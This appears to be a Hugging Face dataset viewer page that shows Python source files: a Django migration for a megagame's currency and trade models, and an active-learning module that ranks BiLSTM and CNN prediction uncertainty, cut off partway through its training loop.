xszheng2020/the_stack_dedup_python_hits_3 · Datasets at Hugging Face

c5cf54b8bda6147f293a44fdca91bd99c874cc46

3,374

py

Python

django/currencies/migrations/0002_initial.py

AngelOnFira/megagame-controller

033fec84babf80ffd0868a0f7d946ac4c18b061c

[ "MIT" ]

null

django/currencies/migrations/0002_initial.py

AngelOnFira/megagame-controller

033fec84babf80ffd0868a0f7d946ac4c18b061c

[ "MIT" ]

1

2022-03-03T21:56:12.000Z

django/currencies/migrations/0002_initial.py

AngelOnFira/megagame-controller

033fec84babf80ffd0868a0f7d946ac4c18b061c

[ "MIT" ]

null

# Generated by Django 3.2.8 on 2021-11-20 23:06 import django.db.models.deletion from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ("teams", "0001_initial"), ("players", "0001_initial"), ("discord_models", "0001_initial"), ("currencies", "0001_initial"), ] operations = [ migrations.AddField( model_name="transaction", name="initiating_player", field=models.ForeignKey( blank=True, default=None, null=True, on_delete=django.db.models.deletion.PROTECT, related_name="transaction", to="players.player", ), ), migrations.AddField( model_name="transaction", name="to_wallet", field=models.ForeignKey( blank=True, default=None, null=True, on_delete=django.db.models.deletion.PROTECT, related_name="debits", to="currencies.wallet", ), ), migrations.AddField( model_name="trade", name="discord_guild", field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, to="discord_models.guild", ), ), migrations.AddField( model_name="trade", name="initiating_party", field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name="initiated_trades", to="teams.team", ), ), migrations.AddField( model_name="trade", name="initiating_party_discord_trade_thread", field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name="initiating_discord_trade_thread", to="discord_models.channel", ), ), migrations.AddField( model_name="trade", name="receiving_party", field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name="receiving_trades", to="teams.team", ), ), migrations.AddField( model_name="trade", name="receiving_party_discord_trade_thread", field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name="receiving_discord_trade_thread", to="discord_models.channel", ), ), migrations.AddField( model_name="trade", name="transactions", field=models.ManyToManyField(to="currencies.Transaction"), ), migrations.AddField( model_name="payment", name="transactions", field=models.ManyToManyField(to="currencies.Transaction"), ), ]

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c5e3cb7db018a404603f3f76dc6f607c3dc8a323

47,691

py

Python

code/active.py

tarmeens/active-deep-parsing

77a511e2b3f5f74cb911061797b020bd5c846570

[ "MIT" ]

2

2018-06-20T16:10:52.000Z

2018-07-16T21:03:47.000Z

code/active.py

tarmeens/active-deep-parsing

77a511e2b3f5f74cb911061797b020bd5c846570

[ "MIT" ]

null

code/active.py

tarmeens/active-deep-parsing

77a511e2b3f5f74cb911061797b020bd5c846570

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ DHLAB - IC - EPFL This file contains functions for uncertainty sampling active learning. Important note for fist-time users: this file is an extension of models.py and utils.py. Please check them out first! author: Mattia Martinelli date: 08/06/2018 """ # Modules import os import random import numpy as np import tensorflow # Keras function from keras.callbacks import EarlyStopping from keras.layers import Embedding, LSTM, Dense, Bidirectional, Dropout, Input, TimeDistributed, Flatten, Convolution1D, MaxPooling1D, concatenate from keras.models import Sequential, Model from keras.optimizers import Adam, RMSprop from keras_contrib.utils import save_load_utils from models import * from utils import * from scipy.stats import rankdata import scipy as sc from shutil import copyfile import operator from collections import defaultdict import time def BiLSTM_score(filename, X_w, X_i, y, word2ind, maxWords, ind2label, word_embeddings=True, pretrained_embedding="", word_embedding_size=100, maxChar=0, char_embedding_type="", char2ind="", char_embedding_size=50, lstm_hidden=32, dropout=0.5, optimizer='rmsprop', train = False, X_train = None, y_train = None, X_test = None, y_test = None, nbr_epochs = 1, batch_size=128, early_stopping_patience=-1, folder_path="BiLSTM_results", score_name = "uncertainty_scores", print_to_file = True ): """ The function computes, for each input token, three uncertainty sampling scores: probability, margin, entropy. Scores are generated with the BiLSTM model. Softmax is the prediction function. Detailed information about how scores are computed can be found in the report. The underlying model can be trained. Otherwise it uses the weights in "folder_path/filename/filename.h5". The result is stored in a csv file, structured with the following columns: "Sequence", "Position", "Token", "Target", "Predicted", "Posterior", "Confidence", "Margin", "Entropy", "Reference" where: - Sequence is the reference index in the dataset (0 first reference, 1 second reference, ...) - Position is the index of the token in the reference, i.e. the index in the reference (0 first token, 1 second token, ...) - Token is the token. - Target is the real label of the token. - Predicted is the actual prediction on the token. - Posterior is the output probability of prediction. - Confidence is the confidence (i.e. posterior) ranking over all tokens. - Margin is the margin raking over all tokens. - Entropy is the entropy ranking over all tokens. - Reference is the full reference to which the token belongs as a string. Example: "Sequence", "Position", "Token", "Target", "Predicted", "Posterior", "Confidence", "Margin", "Entropy", "Reference" 4 0 Maria Author Author 99.4 10 9 11 "Maria and ..." :param filename: File to redirect the printing. :param X_w: Data to score, given in the original word format of load_data function (in utils.py). :param X_i: Data to score, given in the indexed format of encodePadData_x function (in utils.py). :param y: Labels of the data to score, given in the original word format of load_data function (in utils.py). :param folder_path: Path to the directory storing all to-be-generated files and folders. :param print_to_file: if True redirects the printings to a file (given in filename), if False std_out is kept :param score_name: Name of the file with the scores. :see Please for the other parameters refer to BiLSTM_model function in models.py (identical parameters are named the same). :return void """ # Where model weights will be stored filepath = folder_path+"/"+filename+"/"+filename best_model_weights_path = "{0}.h5".format(filepath) # Get compiled model with input parameters, if needed it can be trained too model = BiLSTM_model( filename = filename, train = train, output = "softmax", X_train = X_train, X_test= X_test, word2ind = word2ind, maxWords = maxWords, y_train = y_train, y_test = y_test, ind2label = ind2label, validation = False, X_valid = None, y_valid = None, word_embeddings = word_embeddings, pretrained_embedding = pretrained_embedding, word_embedding_size = word_embedding_size, maxChar = maxChar, char_embedding_type = char_embedding_type, char2ind = char2ind, char_embedding_size = char_embedding_size, lstm_hidden = lstm_hidden, batch_size = batch_size, dropout = dropout, optimizer = optimizer, nbr_epochs = nbr_epochs, early_stopping_patience = early_stopping_patience, folder_path = folder_path, gen_confusion_matrix = False, return_model = True, print_to_file = print_to_file ) # HACK: optmizer weight length issue # https://github.com/keras-team/keras/issues/4044 import h5py with h5py.File(best_model_weights_path, 'a') as f: if 'optimizer_weights' in f.keys(): del f['optimizer_weights'] save_load_utils.load_all_weights(model, best_model_weights_path) # Compute predictions and uncertainty scores probs = model.predict(X_i) probs = np.asarray(probs) # Arguments of sorted values in ascending order pred_sort_index = np.argsort(probs) # Reverse the one-hot encoding #true_index = np.argsort(y_target)[:,:,-1] true_index = np.argmax(y, axis=-1) # Predict probability of best prediction pred_index = pred_sort_index[:,:,-1] grid = np.indices((pred_index.shape[0], pred_index.shape[1])) pred_prob = probs[grid[0],grid[1],pred_index[grid[0],grid[1]]] # Predict probability of second best prediction pred_2_index = pred_sort_index[:,:,-2] grid = np.indices((pred_2_index.shape[0], pred_2_index.shape[1])) pred_2_prob = probs[grid[0],grid[1],pred_2_index[grid[0],grid[1]]] # Margin score, computed as the difference between the best prediction # and the second best prediction pred_margin = pred_prob - pred_2_prob # Entropy score, compute as entropy over all prediction probabilities ù # The entropy score is inversed to compute rank later pred_entropy = np.sum(np.multiply(probs,np.log(probs)), axis = -1) # Index 0 in the predictions referes to padding ind2labelNew = ind2label[0].copy() ind2labelNew.update({0: "null"}) # Compute the labels for each prediction pred_label = [[ind2labelNew[x] for x in a] for a in pred_index] true_label = [[ind2labelNew[x] for x in b] for b in true_index] # Flatten to uniform with ranking pred_flat = np.ravel(pred_label) true_flat = np.ravel(true_label) prob_flat = np.ravel(pred_prob) # Compute ranking prob_rank = rankdata(pred_prob, method='min') margin_rank = rankdata(pred_margin, method='min') entropy_rank = rankdata(pred_entropy, method='min') # Fill CSV rows rows = [] seq_len = maxWords for i, seq in enumerate(X_w): # skip first sequence if i == 0: continue seq_offset = i*maxWords + seq_len - len(seq) for j,w in enumerate(seq): index = seq_offset + j rows.append( (i, j + 1, w, true_flat[index], pred_flat[index], round(prob_flat[index], 4), prob_rank[index], margin_rank[index], entropy_rank[index], " ".join(str(s) for s in seq)) ) # Write results on CSV file columns = ("Sequence", "Position", "Token", "Target", "Predicted", "Posterior", "Confidence", "Margin", "Entropy", "Reference") # Store scores filename="score" os.makedirs(folder_path+"/"+filename, exist_ok=True) score_result_path = folder_path+"/"+filename+"/"+score_name write_to_csv(score_result_path, columns, rows) print("BiLSTM score has terminated!") def CNN_score(filename, X_w, X_i, y, word2ind, maxWords, ind2label, maxChar, char2ind, pretrained_embedding="", word_embedding_size=100, char_embedding_size=50, lstm_hidden=32, dropout=0.5, optimizer='rmsprop', folder_path="CNN_results", score_name = "scores", print_to_file = True, train = False, X_train = None, y_train = None, X_test = None, y_test = None, nbr_epochs = 5, batch_size=128, early_stopping_patience=-1): """ The function computes, for each input token, three uncertainty sampling scores: probability, margin, entropy. Scores are generated with the CNN-CNN-LSTM model. Detailed information about how scores are computed can be found in the report. The underlying model can be trained. Otherwise it uses the weights in "folder_path/filename/filename.h5". The result is stored in a csv file. For additional information on the output file, please refer to the BiLSTM_score function description. :param filename: File to redirect the printing. :param X_w: Data to score, given in the original word format of load_data function (in utils.py). :param X_i: Data to score, given in the indexed format of encodePadData_x function (in utils.py). :param y: Labels of the data to score, given in the original word format of load_data function (in utils.py). :param folder_path: Path to the directory storing all to-be-generated files and folders. :param score_name: Name of the file with the scores. :param print_to_file: if True redirects the printings to a file (given in filename), if False std_out is kept :see Please for the other parameters refer to BiLSTM_model function in models.py (identical parameters are named the same). :return void """ # Where model weights will be stored filepath = folder_path+"/"+filename+"/"+filename best_model_weights_path = "{0}.h5".format(filepath) # Get compiled model with input parameters, if needed it can be trained too model = CNN_model(filename = filename, train = train, X_train = X_train, X_test = X_test, y_train = y_train, y_test = y_test, word2ind = word2ind, maxWords = maxWords, ind2label = ind2label, maxChar = maxChar, char2ind = char2ind, validation=False, X_valid=None, y_valid=None, pretrained_embedding = pretrained_embedding, word_embedding_size = word_embedding_size, char_embedding_size = char_embedding_size, lstm_hidden = lstm_hidden, nbr_epochs = nbr_epochs, batch_size = batch_size, dropout = dropout, optimizer= optimizer, early_stopping_patience=-1, folder_path=folder_path, gen_confusion_matrix=False, return_model = True, print_to_file = print_to_file ) # HACK: optmizer weight length issue # https://github.com/keras-team/keras/issues/4044 import h5py with h5py.File(best_model_weights_path, 'a') as f: if 'optimizer_weights' in f.keys(): del f['optimizer_weights'] save_load_utils.load_all_weights(model, best_model_weights_path) # Compute predictions and uncertainty scores probs = model.predict(X_i) probs = np.asarray(probs) # Arguments of sorted values in ascending order pred_sort_index = np.argsort(probs) # Reverse the one-hot encoding #true_index = np.argsort(y_target)[:,:,-1] true_index = np.argmax(y, axis=-1) # Predict probability of best prediction pred_index = pred_sort_index[:,:,-1] grid = np.indices((pred_index.shape[0], pred_index.shape[1])) pred_prob = probs[grid[0],grid[1],pred_index[grid[0],grid[1]]] # Predict probability of second best prediction pred_2_index = pred_sort_index[:,:,-2] grid = np.indices((pred_2_index.shape[0], pred_2_index.shape[1])) pred_2_prob = probs[grid[0],grid[1],pred_2_index[grid[0],grid[1]]] # Margin score, computed as the difference between the best prediction # and the second best prediction pred_margin = pred_prob - pred_2_prob # Entropy score, compute as entropy over all prediction probabilities ù # The entropy score is inversed to compute rank later pred_entropy = np.sum(np.multiply(probs,np.log(probs)), axis = -1) # Index 0 in the predictions referes to padding ind2labelNew = ind2label[0].copy() ind2labelNew.update({0: "null"}) # Compute the labels for each prediction pred_label = [[ind2labelNew[x] for x in a] for a in pred_index] true_label = [[ind2labelNew[x] for x in b] for b in true_index] # Flatten to uniform with ranking pred_flat = np.ravel(pred_label) true_flat = np.ravel(true_label) prob_flat = np.ravel(pred_prob) # Compute ranking prob_rank = rankdata(pred_prob, method='min') margin_rank = rankdata(pred_margin, method='min') entropy_rank = rankdata(pred_entropy, method='min') # Create CSV rows rows = [] seq_len = maxWords for i, seq in enumerate(X_w): # skip first sequence if i == 0: continue seq_offset = i*maxWords + seq_len - len(seq) for j,w in enumerate(seq): index = seq_offset + j rows.append( (i, j + 1, w, true_flat[index], pred_flat[index], round(prob_flat[index], 4), prob_rank[index], margin_rank[index], entropy_rank[index], " ".join(str(s) for s in seq)) ) # Write results on CSV file columns = ("Sequence", "Position", "Token", "Target", "Predicted", "Posterior", "Confidence", "Margin", "Entropy", "Reference") # Store scores filename="score" os.makedirs(folder_path+"/"+filename, exist_ok=True) score_result_path = folder_path+"/"+filename+"/"+score_name write_to_csv(score_result_path, columns, rows) print("CNN score has terminated!") def BiLSTM_query(filename, X_w, X_i, y, numSeqToQuery, mode, word2ind, maxWords, ind2label, query_seed = 42, write_to_disk = False, verbose= False, task = 1, word_embeddings=True, pretrained_embedding="", word_embedding_size=100, maxChar=0, char_embedding_type="", char2ind="", char_embedding_size=50, lstm_hidden=32, dropout=0.5, optimizer='rmsprop', train = False, X_train = None, y_train = None, X_test = None, y_test = None, nbr_epochs = 1, batch_size=128, early_stopping_patience=-1, folder_path="BiLSTM_results", print_to_file = True ): """ The function selects references from the dataset according to their entropy uncertainy sampling score. Scores are generated with the BiLSTM model. Softmax is the prediction function. Detailed information about how sequence scores are computed can be found in the report. The underlying can be trained. Otherwise it uses the weights in "folder_path/filename/filename.h5". :param filename: File to redirect the printing. :param X_w: Data to score, given in the original word format of load_data function (in utils.py). :param X_i: Data to score, given in the indexed format of encodePadData_x function (in utils.py). :param y: Labels of the data to score, given in the original word format of load_data function (in utils.py). :param numSeqToQuery: Number of references to query. :param mode: How references are queried: - least: query least confident references, i.e. highest entropy. - most: query most confident references, i.e. lowest entropy. - random: query references randomly. :param query_seed: seed of the random sampling. :param write_to_disk: if True, stores in a text file the queried references. :param verbose: if True, and write_to_disk is True, store entropy scores and target label along with the tokens. :param task: for which task the function is querying. Effective only if write_to_disk is True. Must be a value between 1 and 3. :param folder_path: Path to the directory storing all to-be-generated files and folders. :param print_to_file: if True redirects the printings to a file (given in filename), if False std_out is kept :see Please for the other parameters refer to BiLSTM_model function in models.py (identical parameters are named the same). :return Indices of the queried references. """ assert(task >= 1 and task <= 3) # Where model weights will be stored filepath = folder_path+"/"+filename+"/"+filename best_model_weights_path = "{0}.h5".format(filepath) # Get compiled model with input parameters, if needed it can be trained too model = BiLSTM_model( filename = filename, train = train, output = "softmax", X_train = X_train, X_test= X_test, word2ind = word2ind, maxWords = maxWords, y_train = y_train, y_test = y_test, ind2label = ind2label, validation = False, X_valid = None, y_valid = None, word_embeddings = word_embeddings, pretrained_embedding = pretrained_embedding, word_embedding_size = word_embedding_size, maxChar = maxChar, char_embedding_type = char_embedding_type, char2ind = char2ind, char_embedding_size = char_embedding_size, lstm_hidden = lstm_hidden, batch_size = batch_size, dropout = dropout, optimizer = optimizer, nbr_epochs = nbr_epochs, early_stopping_patience = early_stopping_patience, folder_path = folder_path, gen_confusion_matrix = False, return_model = True, print_to_file = print_to_file ) # HACK: optmizer weight length issue # https://github.com/keras-team/keras/issues/4044 import h5py with h5py.File(best_model_weights_path, 'a') as f: if 'optimizer_weights' in f.keys(): del f['optimizer_weights'] save_load_utils.load_all_weights(model, best_model_weights_path) # Compute predictions and uncertainty scores probs = model.predict(X_i) probs = np.asarray(probs) # Arguments of sorted values in ascending order pred_sort_index = np.argsort(probs) # Reverse the one-hot encoding #true_index = np.argsort(y_target)[:,:,-1] true_index = np.argmax(y, axis=-1) # Predict probability of best prediction pred_index = pred_sort_index[:,:,-1] grid = np.indices((pred_index.shape[0], pred_index.shape[1])) pred_prob = probs[grid[0],grid[1],pred_index[grid[0],grid[1]]] # Entropy score, compute as entropy over all prediction probabilities # The entropy score is inversed to later sort the list in ascending order pred_entropy = np.sum(np.multiply(probs,np.log(probs)), axis = -1) # Entropy over the sequence (with no padding) # The value is computed as the average entropy w.r.t. the tokens which are not padding sequence_len = np.count_nonzero((X_i[0] != 0), -1) sequence_entropy = np.divide((pred_entropy * (X_i[0] != 0)).sum(axis = -1)[1:], sequence_len[1:]) # Get indices of sorted array sequence_entropy_sort_index = np.argsort(sequence_entropy) # Add 1 to indices to take first line into account add1 = np.vectorize(lambda x: x + 1) sequence_entropy_sort_index = add1(sequence_entropy_sort_index) # Entropy over the sequence (with padding) # The value is computed as the sum of entropies of all tokens in the sequence #sequence_entropy = np.sum(pred_entropy, axis = -1) #sequence_entropy_sort_index = np.argsort(sequence_entropy) # Index 0 in the predictions referes to padding ind2labelNew = ind2label[0].copy() ind2labelNew.update({0: "null"}) # Compute the labels for each prediction pred_label = [[ind2labelNew[x] for x in a] for a in pred_index] true_label = [[ind2labelNew[x] for x in b] for b in true_index] # Flatten to uniform indexing pred_flat = np.ravel(pred_label) true_flat = np.ravel(true_label) entropy_flat = np.ravel(pred_entropy) seq_len = maxWords value_to_return = None # Get least confident (highest entropy) if mode == "least": query_index_least_rank = sequence_entropy_sort_index[:numSeqToQuery] value_to_return = query_index_least_rank filename="least.txt" # Get most confident (lowest entropy) if mode == "most": query_index_most_rank = sequence_entropy_sort_index[max((len(sequence_entropy_sort_index) - numSeqToQuery),0):] value_to_return = query_index_most_rank filename="most.txt" # Get random sequences if mode == "random": # Compute random indexing query_index_random = np.arange(1, len(sequence_entropy_sort_index) + 1) np.random.seed(query_seed) np.random.shuffle(query_index_random) query_index_random = query_index_random[:numSeqToQuery] value_to_return = query_index_random filename="random.txt" # NOTE: other uncertainty sampling measures can be inserted below. # Store sequences in a file if write_to_disk: os.makedirs(folder_path+"/"+"query_result", exist_ok=True) query_result_path = folder_path+"/"+"query_result"+"/"+filename with open(query_result_path, "w", encoding = "utf-8") as f: if verbose: f.write("token target predicted entropy\r\r") else: f.write("-DOCSTART- -X- -X- o\r\r") # Store least index rank for i in value_to_return: seq = X_w[i] seq_offset = i*maxWords + seq_len - len(seq) for j,w in enumerate(seq): index = seq_offset + j if verbose: f.write(w + " " + true_flat[index] + " " + pred_flat[index] + " " + str(entropy_flat[index]) + "\r") else: if task == 1: f.write(w + " " + true_flat[index] + " o o\r") elif task == 2: f.write(w + " o " + true_flat[index] + " o\r") elif task == 3: f.write(w + " o o " + true_flat[index] + "\r") else: raise Exception('Bad task given.') f.write("\r") print("BiLSTM query has terminated!") return value_to_return def CNN_query(filename, X_w, X_i, y, numSeqToQuery, mode, word2ind, maxWords, ind2label, maxChar, char2ind, seed = 42, write_to_disk = False, verbose = False, task = 1, pretrained_embedding="", word_embedding_size=100, char_embedding_size=50, lstm_hidden=32, dropout=0.5, optimizer='rmsprop', train = False, X_train = None, y_train = None, X_test = None, y_test = None, nbr_epochs = 5, batch_size=128, early_stopping_patience=-1, folder_path="CNN_results", print_to_file = True ): """ The function selects references from the dataset according to their entropy uncertainy sampling score. Scores are generated with the CNN-CNN-LSTM model. Detailed information on how sequence scores are computed can be found in the report. The underlying model can be trained. Otherwise it uses the weights in "folder_path/filename/filename.h5". :param filename: File to redirect the printing. :param X_w: Data to score, given in the original word format of load_data function (in utils.py). :param X_i: Data to score, given in the indexed format of encodePadData_x function (in utils.py). :param y: Labels of the data to score, given in the original word format of load_data function (in utils.py). :param numSeqToQuery: Number of references to query. :param mode: How references are queried: - least: query least confident references, i.e. highest entropy. - most: query most confident references, i.e. lowest entropy. - random: query references randomly. - hybrid: hybrid least/most approach. - Other methods can be added if needed. :param query_seed: seed of the random sampling. :param write_to_disk: if True, stores in a text file the queried references. :param verbose: if True, and write_to_disk is True, store entropy scores and target label along with the tokens. :param task: for which task the function is querying. Effective only if write_to_disk is True. Must be a value between 1 and 3. :param folder_path: Path to the directory storing all to-be-generated files and folders. :param print_to_file: if True redirects the printings to a file (given in filename), if False std_out is kept :see Please for the other parameters refer to BiLSTM_model function in models.py (identical parameters are named the same). :return indices of the queried references. """ # Where model weights will be stored filepath = folder_path+"/"+filename+"/"+filename best_model_weights_path = "{0}.h5".format(filepath) # Get compiled model with input parameters, if needed it can be trained too model = CNN_model(filename = filename, train = train, X_train = X_train, X_test = X_test, y_train = y_train, y_test = y_test, word2ind = word2ind, maxWords = maxWords, ind2label = ind2label, maxChar = maxChar, char2ind = char2ind, validation=False, X_valid=None, y_valid=None, pretrained_embedding = pretrained_embedding, word_embedding_size = word_embedding_size, char_embedding_size = char_embedding_size, lstm_hidden = lstm_hidden, nbr_epochs = nbr_epochs, batch_size = batch_size, dropout = dropout, optimizer= optimizer, early_stopping_patience=-1, folder_path=folder_path, gen_confusion_matrix=False, return_model = True, print_to_file = print_to_file ) # HACK: optmizer weight length issue # https://github.com/keras-team/keras/issues/4044 import h5py with h5py.File(best_model_weights_path, 'a') as f: if 'optimizer_weights' in f.keys(): del f['optimizer_weights'] save_load_utils.load_all_weights(model, best_model_weights_path) # Compute predictions and uncertainty scores probs = model.predict(X_i) probs = np.asarray(probs) # Arguments of sorted values in ascending order pred_sort_index = np.argsort(probs) # Reverse the one-hot encoding #true_index = np.argsort(y_target)[:,:,-1] true_index = np.argmax(y, axis=-1) # Predict probability of best prediction pred_index = pred_sort_index[:,:,-1] grid = np.indices((pred_index.shape[0], pred_index.shape[1])) pred_prob = probs[grid[0],grid[1],pred_index[grid[0],grid[1]]] # Entropy score, compute as entropy over all prediction probabilities # The entropy score is inversed to sort the list later in ascending order pred_entropy = np.sum(np.multiply(probs,np.log(probs)), axis = -1) # Entropy over the sequence (with no padding) # The value is computed as the average entropy w.r.t. the tokens which are not padding sequence_len = np.count_nonzero((X_i[0] != 0), -1) sequence_entropy = np.divide((pred_entropy * (X_i[0] != 0)).sum(axis = -1)[1:], sequence_len[1:]) # [1:] because first sequence is empty line # Get indices of sorted array sequence_entropy_sort_index = np.argsort(sequence_entropy) # Add 1 to indices to take first line into account add1 = np.vectorize(lambda x: x + 1) sequence_entropy_sort_index = add1(sequence_entropy_sort_index) # Entropy over the sequence (with padding) # The value is computed as the sum of entropies of all tokens in the sequence #sequence_entropy = np.sum(pred_entropy, axis = -1) #sequence_entropy_sort_index = np.argsort(sequence_entropy) # Index 0 in the predictions referes to padding ind2labelNew = ind2label[0].copy() ind2labelNew.update({0: "null"}) # Compute the labels for each prediction pred_label = [[ind2labelNew[x] for x in a] for a in pred_index] true_label = [[ind2labelNew[x] for x in b] for b in true_index] # Flatten to uniform indexing pred_flat = np.ravel(pred_label) true_flat = np.ravel(true_label) entropy_flat = np.ravel(pred_entropy) seq_len = maxWords if write_to_disk: os.makedirs(folder_path+"/"+"query_result", exist_ok=True) value_to_return = None # Get least confident index rank if mode == "least": # Compute lowest rank indexing query_index_least_rank = sequence_entropy_sort_index[:numSeqToQuery] value_to_return = query_index_least_rank filename="least.txt" # Get most confident index rank if mode == "most": # Compute lowest and highest rank indexing query_index_most_rank = sequence_entropy_sort_index[max((len(sequence_entropy_sort_index) - numSeqToQuery),0):] value_to_return = query_index_most_rank filename="most.txt" # Get random index if mode == "random": # Compute random indexing query_index_random = np.arange(1, len(sequence_entropy_sort_index) + 1) np.random.seed(seed) np.random.shuffle(query_index_random) query_index_random = query_index_random[:numSeqToQuery] value_to_return = query_index_random filename="random.txt" # Get hybrid index if mode == "hybrid": # least/most ratio is hardcoded least_ratio = 1/3 most_ratio = 1 - least_ratio # Compute hybrid indexing query_index_least_rank = sequence_entropy_sort_index[:int(numSeqToQuery*(least_ratio))] query_index_most_rank = sequence_entropy_sort_index[max((len(sequence_entropy_sort_index) - int(numSeqToQuery*(most_ratio))),0):] value_to_return = np.concatenate((query_index_least_rank, query_index_most_rank), axis = -1) filename="hybrid.txt" # Store sequences in a file if write_to_disk: query_result_path = folder_path+"/"+"query_result"+"/"+filename with open(query_result_path, "w", encoding = "utf-8") as f: if verbose: f.write("token target predicted entropy\r\r") else: f.write("-DOCSTART- -X- -X- o\r\r") for i in value_to_return: seq = X_w[i] seq_offset = i*maxWords + seq_len - len(seq) for j,w in enumerate(seq): index = seq_offset + j if verbose: f.write(w + " " + true_flat[index] + " " + pred_flat[index] + " " + str(entropy_flat[index]) + "\r") else: if task == 1: f.write(w + " " + true_flat[index] + " o o\r") elif task == 2: f.write(w + " o " + true_flat[index] + " o\r") elif task == 3: f.write(w + " o o " + true_flat[index] + "\r") else: raise Exception('Bad task given.') f.write("\r") print("CNN query has terminated!") return value_to_return def CNN_ActiveModel(task, X_train_w, X_test_w, X_valid_w, y_train_w, y_test_w, y_valid_w, tag_init_min_th, nbr_iters, nbr_epochs, query_mode, inc_perc = 0.03, word_embedding_size = 100, char_embedding_size = 50, pretrained_embedding="", folder_path="active_model", store_models = False): """ Active learning platform, which does multiple training cycles. As a first step, preprocesses the data to unify digits under the same token and splits train set into labeled/unlabelled dataset. Then, for each training cycle: - Processes the data to get indices and features for the given iteration. - Trains the model with the labeled dataset. - Computes queries references from the unlabeled dataset. - The queried references are removed from unlabeled dataset and appended to labeled dataset. :param task: task on which active learning is done, must be one these values: "task1", "task2", "task3". :param y_train_w: Data to train the model, in the format of load_data function (in utils.py). :param y_train_w: Labels of the data to train the model, in the format of load_data function (in utils.py). :param X_test_w: Data to test the model, in the format of load_data function (in utils.py). :param y_test_w: Labels of the data to test the model, in the format of load_data function (in utils.py). :param X_valid_w: Data to train the model, in the format of load_data function (in utils.py). :param y_valid_w: Labels of the data to train the model, in the format of load_data function (in utils.py). :param tag_init_min_th: Number of tokens for each label in the first training cycle. See splitTrainData for further information. :param nbr_iters: Number of training cycles :param nbr_epochs: Number of epochs for each training cycles. Early stopping is not allowed. :param inc_perc: Percentage of sequences in X_train_w added at each iteration. Must be between 0 and 1. :param query_mode: How references are queried. Must be "least", "most", "hybrid", or "random". :param word_embedding_size: See CNN_model (in models.py). :param char_embedding_size: See CNN_model (in models.py). :param pretrained_embedding: See CNN_model (in models.py). :param folder_path: Where results, data and weights of each iteration will be stored. :param store_models: Store model weights and training dataset at each iteration :return List with best F1 score at each training cycle. """ # Check parameters assert(tag_init_min_th > 0) assert(nbr_iters > 0) assert(inc_perc > 0 and inc_perc <= 1) if store_models: if task.lower() == "task1" or task.lower() == "task2" or task.lower() == "task3": pass else: # Must be a valid task: "task1", "task2", "task3" print("Not a valid task.") raise AssertionError os.makedirs(folder_path, exist_ok=True) file, stdout_original = setPrintToFile("{0}/log.txt".format(folder_path)) start_time = time.time() # STEP 0: PREPROCESS DATA print("Dataset creation and preprocessing.") # Merge digits using a specific token digits_word = "$NUM$" X_train_w, X_test_w, X_valid_w = mergeDigits([X_train_w, X_test_w, X_valid_w], digits_word) # Data split to get labelled and unlabelled data for first iteration X_train_w_labelled, y_train_w_labelled, X_train_w_unlabelled, y_train_w_unlabelled = splitTrainData(X_train_w, y_train_w, tag_init_min_th) # Return values f1_scores = [] for n_iter in range(nbr_iters): # Iteration strings print("\n --- ITERATION " + str(n_iter) + " ---\n") iter_task = "iter_{0}".format(n_iter) write_data_path = "{0}/iter_{1}/train_active.txt".format(folder_path, n_iter) weights_path = "{0}/iter_{1}/iter_{1}.h5".format(folder_path, n_iter) os.makedirs(folder_path+"/"+iter_task, exist_ok=True) # STEP 1: PROCESS DATA print("Dataset processing.") # Store dataset if requested if store_models: with open(write_data_path, "w", encoding = "utf-8") as f: f.write("-DOCSTART- -X- -X- o\r\r") # Store least index rank for index, (ref_words, ref_tags) in enumerate(zip(X_train_w_labelled, y_train_w_labelled)): if index == 0: continue for w, t in zip(ref_words, ref_tags): if task.lower() == "task1": f.write(w + " " + t + " o o\r") elif task.lower() == "task2": f.write(w + " o " + t + " o\r") elif task.lower() == "task3": f.write(w + " o o " + t + " \r") else: raise AssertionError f.write("\r") # Compute indices for words+labels in the TRAINING data print("Word counting") ukn_words = "out-of-vocabulary" # Out-of-vocabulary words entry in the "words to index" dictionary word2ind, ind2word = indexData_x(X_train_w_labelled, ukn_words) print("Label counting") label2ind, ind2label = indexData_y(y_train_w_labelled) # Convert data into indices data maxlen = max([len(xx) for xx in X_train_w_labelled]) padding_style = 'pre' # 'pre' or 'post': Style of the padding, in order to have sequence of the same size # X padding print("Input") X_train = encodePadData_x(X_train_w_labelled, word2ind, maxlen, ukn_words, padding_style) X_test = encodePadData_x(X_test_w, word2ind, maxlen, ukn_words, padding_style) X_valid = encodePadData_x(X_valid_w, word2ind, maxlen, ukn_words, padding_style) X_unlabelled = encodePadData_x(X_train_w_unlabelled, word2ind, maxlen, ukn_words, padding_style) # y padding print("Labels") y_train = encodePadData_y(y_train_w_labelled, label2ind, maxlen, padding_style) y_test = encodePadData_y(y_test_w, label2ind, maxlen, padding_style) y_valid = encodePadData_y(y_valid_w, label2ind, maxlen, padding_style) y_unlabelled = encodePadData_y(y_train_w_unlabelled, label2ind, maxlen, padding_style) # Create the character level data print("Characters") char2ind, maxWords, maxChar = characterLevelIndex(X_train_w_labelled, digits_word) X_train_char = characterLevelData(X_train_w_labelled, char2ind, maxWords, maxChar, digits_word, padding_style) X_test_char = characterLevelData(X_test_w, char2ind, maxWords, maxChar, digits_word, padding_style) X_valid_char = characterLevelData(X_valid_w, char2ind, maxWords, maxChar, digits_word, padding_style) X_unlabelled_char = characterLevelData(y_train_w_unlabelled, char2ind, maxWords, maxChar, digits_word, padding_style) # STEP 2: TRAIN MODEL print("Model training.") # Training parameters batch_size = 128 # Train model epoch, precision, recall, f1 = CNN_model(iter_task, True, [X_train, X_train_char], [X_test, X_test_char], word2ind, maxWords, [y_train], [y_test], [ind2label], maxChar, char2ind, pretrained_embedding = pretrained_embedding, word_embedding_size = word_embedding_size, char_embedding_size = char_embedding_size, validation=False, nbr_epochs = nbr_epochs, batch_size = batch_size, optimizer='rmsprop', early_stopping_patience=-1, folder_path=folder_path) f1_scores.append((epoch, f1)) # This was last iteration if n_iter == (nbr_iters - 1): print("Training finished.") break # There is no more data to label if len(X_train_w_unlabelled) == 1 and X_train_w_unlabelled[0] == []: print("No more data to add! Training finished at iteration " + str(n_iter)) break # STEP 3: SCORE UNLABELLED 